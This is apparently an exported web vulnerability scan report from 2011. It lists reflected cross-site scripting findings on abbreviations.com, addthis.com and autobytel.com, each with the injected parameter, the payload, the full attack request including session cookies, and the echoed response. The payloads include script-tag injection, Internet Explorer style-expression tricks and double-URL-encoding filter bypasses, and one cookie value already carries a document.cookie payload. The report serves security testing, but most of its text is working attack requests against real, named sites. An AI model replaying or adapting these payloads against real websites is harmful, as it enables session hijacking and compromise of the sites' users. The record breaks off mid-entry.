This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchAmazon.aspx?st=16b98</title><script>alert(1)</script>ea6b04fea67 HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:23:18 GMT Connection: close Content-Length: 27523
The value of the st request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9142f"><script>alert(1)</script>d31baaf031c was submitted in the st parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchAmazon.aspx?st=9142f"><script>alert(1)</script>d31baaf031c HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:22:45 GMT Connection: close Content-Length: 27409
.resp {padding:0px; ...[SNIP]... <meta name="keywords" content="What does 9142f"><script>alert(1)</script>d31baaf031c stand for?, What does 9142f"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 6fe0e%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e34856c7ba54 was submitted in the REST URL parameter 1. This input was echoed as 6fe0e</title><script>alert(1)</script>34856c7ba54 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /searchgoogle.aspx6fe0e%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e34856c7ba54?st= HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:43:06 GMT Connection: close Content-Length: 27628
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9deee%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb2e9cafcbb0 was submitted in the REST URL parameter 1. This input was echoed as 9deee"><script>alert(1)</script>b2e9cafcbb0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /searchgoogle.aspx9deee%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb2e9cafcbb0?st= HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:38:26 GMT Connection: close Content-Length: 27481
.lst{background- ...[SNIP]... <meta name="keywords" content="What does searchgoogle.aspx9deee"><script>alert(1)</script>b2e9cafcbb0?st= stand for?, What does searchgoogle.aspx9deee"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d7e60%253cscript%253ealert%25281%2529%253c%252fscript%253e4a356520f9b was submitted in the REST URL parameter 1. This input was echoed as d7e60<script>alert(1)</script>4a356520f9b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /searchgoogle.aspxd7e60%253cscript%253ealert%25281%2529%253c%252fscript%253e4a356520f9b?st= HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:41:11 GMT Connection: close Content-Length: 27446
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6035c%2522%253balert%25281%2529%252f%252fbcb3780252b was submitted in the REST URL parameter 1. This input was echoed as 6035c";alert(1)//bcb3780252b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /searchgoogle.aspx6035c%2522%253balert%25281%2529%252f%252fbcb3780252b?st= HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:39:43 GMT Connection: close Content-Length: 27095
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 68d3f"-alert(1)-"252ce06ac3b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmark.php68d3f"-alert(1)-"252ce06ac3b HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Mon, 24 Jan 2011 16:03:19 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=60shcckh91q4gr3p48mb8j2sb4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1447 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <script type="text/javascript"> var u = "/404/bookmark.php68d3f"-alert(1)-"252ce06ac3b"; if (typeof utmx != "undefined" && utmx('combination') != undefined) { u += (u.indexOf("?") == -1 ? '?' : '&') + 'com=' + utmx('combination'); } if (window._gat) { var gaPageTracker = _gat._get ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5469c<script>alert(1)</script>694be222f67 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bookmark.php5469c<script>alert(1)</script>694be222f67 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Mon, 24 Jan 2011 16:03:19 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=3djnq75atcfpbioq7ivu4ugpn2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1473 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <strong>bookmark.php5469c<script>alert(1)</script>694be222f67</strong> ...[SNIP]...
4.467. http://www.addthis.com/bookmark.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.addthis.com
Path:
/bookmark.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c000a"-alert(1)-"d2071d67556 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /bookmark.php/c000a"-alert(1)-"d2071d67556 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:17 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 92401
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <script type="text/javascript"> var u = "/bookmark.php/c000a"-alert(1)-"d2071d67556"; if (typeof utmx != "undefined" && utmx('combination') != undefined) { u += (u.indexOf("?") == -1 ? '?' : '&') + 'com=' + utmx('combination'); } if (window._gat) { var gaPageTracker = _gat._get ...[SNIP]...
The value of the pub request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31b76"%20style%3dx%3aexpression(alert(1))%209db792d721a was submitted in the pub parameter. This input was echoed as 31b76\" style=x:expression(alert(1)) 9db792d721a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /bookmark.php?wt=nw&pub=sistergoldenhair31b76"%20style%3dx%3aexpression(alert(1))%209db792d721a&url= HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:00 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/ Content-Length: 92650
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <input type="hidden" id="pub" name="pub" value="sistergoldenhair31b76\" style=x:expression(alert(1)) 9db792d721a" /> ...[SNIP]...
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c73a7"style%3d"x%3aexpression(alert(1))"ad069683679 was submitted in the url parameter. This input was echoed as c73a7"style="x:expression(alert(1))"ad069683679 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /bookmark.php?wt=nw&pub=sistergoldenhair&url=c73a7"style%3d"x%3aexpression(alert(1))"ad069683679 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:04:11 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/ Content-Length: 92574
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <input type="hidden" id="url" name="url" value="c73a7"style="x:expression(alert(1))"ad069683679" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d6e65<script>alert(1)</script>e68058a383 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /feed.phpd6e65<script>alert(1)</script>e68058a383 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Mon, 24 Jan 2011 16:03:23 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=4hrqgaprgqm9fn84gll6icugn6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1463 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <strong>feed.phpd6e65<script>alert(1)</script>e68058a383</strong> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b84e"-alert(1)-"516cc2a215 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /feed.php9b84e"-alert(1)-"516cc2a215 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Mon, 24 Jan 2011 16:03:22 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=r92fn8cu7bp5hbkbkasehn8an1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1437 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <script type="text/javascript"> var u = "/404/feed.php9b84e"-alert(1)-"516cc2a215"; if (typeof utmx != "undefined" && utmx('combination') != undefined) { u += (u.indexOf("?") == -1 ? '?' : '&') + 'com=' + utmx('combination'); } if (window._gat) { var gaPageTracker = _gat._get ...[SNIP]...
The value of the h1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7187"style%3d"x%3aexpression(alert(1))"6a86d525460 was submitted in the h1 parameter. This input was echoed as d7187"style="x:expression(alert(1))"6a86d525460 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /feed.php?pub=kicko&h1=http%3A%2F%2Fwww.x64bitdownload.com%2Frss%2Fdownloads.xmld7187"style%3d"x%3aexpression(alert(1))"6a86d525460&t1= HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.473. http://www.addthis.com/feed.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.addthis.com
Path:
/feed.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1604"style%3d"x%3aexpression(alert(1))"64e1f3b8e2b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a1604"style="x:expression(alert(1))"64e1f3b8e2b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /feed.php?pub=kicko&h1=http%3A%2F%2Fwww.x64bitdownload.com%2Frss%2Fdownloads.xml/a1604"style%3d"x%3aexpression(alert(1))"64e1f3b8e2b&t1= HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.474. http://www.addthis.com/feed.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.addthis.com
Path:
/feed.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 99026"-alert(1)-"b65f93cd92c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /feed.php/99026"-alert(1)-"b65f93cd92c HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the pub request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e60a1"style%3d"x%3aexpression(alert(1))"e5131ef9ed7 was submitted in the pub parameter. This input was echoed as e60a1"style="x:expression(alert(1))"e5131ef9ed7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /feed.php?pub=kickoe60a1"style%3d"x%3aexpression(alert(1))"e5131ef9ed7&h1=http%3A%2F%2Fwww.x64bitdownload.com%2Frss%2Fdownloads.xml&t1= HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.476. http://www.autobytel.com/a.cfml [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/a.cfml
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 849d4"><script>alert(1)</script>b7a2f5f5095 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /a.cfml?849d4"><script>alert(1)</script>b7a2f5f5095=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
<!-- end: fnc_getComputerName.cfm --> <!-- ReferringSite: --> <!-- Referer: None --> <!-- This file creates a boxerjam cookie that expires ...[SNIP]... <link rel="canonical" href="http://www.autobytel.com/a.cfml?849d4"><script>alert(1)</script>b7a2f5f5095=1"> ...[SNIP]...
4.477. http://www.autobytel.com/ask-our-mechanics/my-garage.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/ask-our-mechanics/my-garage.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 558ec"><script>alert(1)</script>629e085a616 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ask-our-mechanics/my-garage.htm?558ec"><script>alert(1)</script>629e085a616=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.478. http://www.autobytel.com/auto-insurance-quotes.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/auto-insurance-quotes.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b355e"><script>alert(1)</script>20cc0a1c0fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /auto-insurance-quotes.htm?b355e"><script>alert(1)</script>20cc0a1c0fe=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.479. http://www.autobytel.com/car-advice.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.autobytel.com
Path:
/car-advice.htm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e5d6"><script>alert(1)</script>5ac1d95ea8c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /car-advice.htm?3e5d6"><script>alert(1)</script>5ac1d95ea8c=1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
4.480. http://www.autobytel.com/car-dealers.htm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
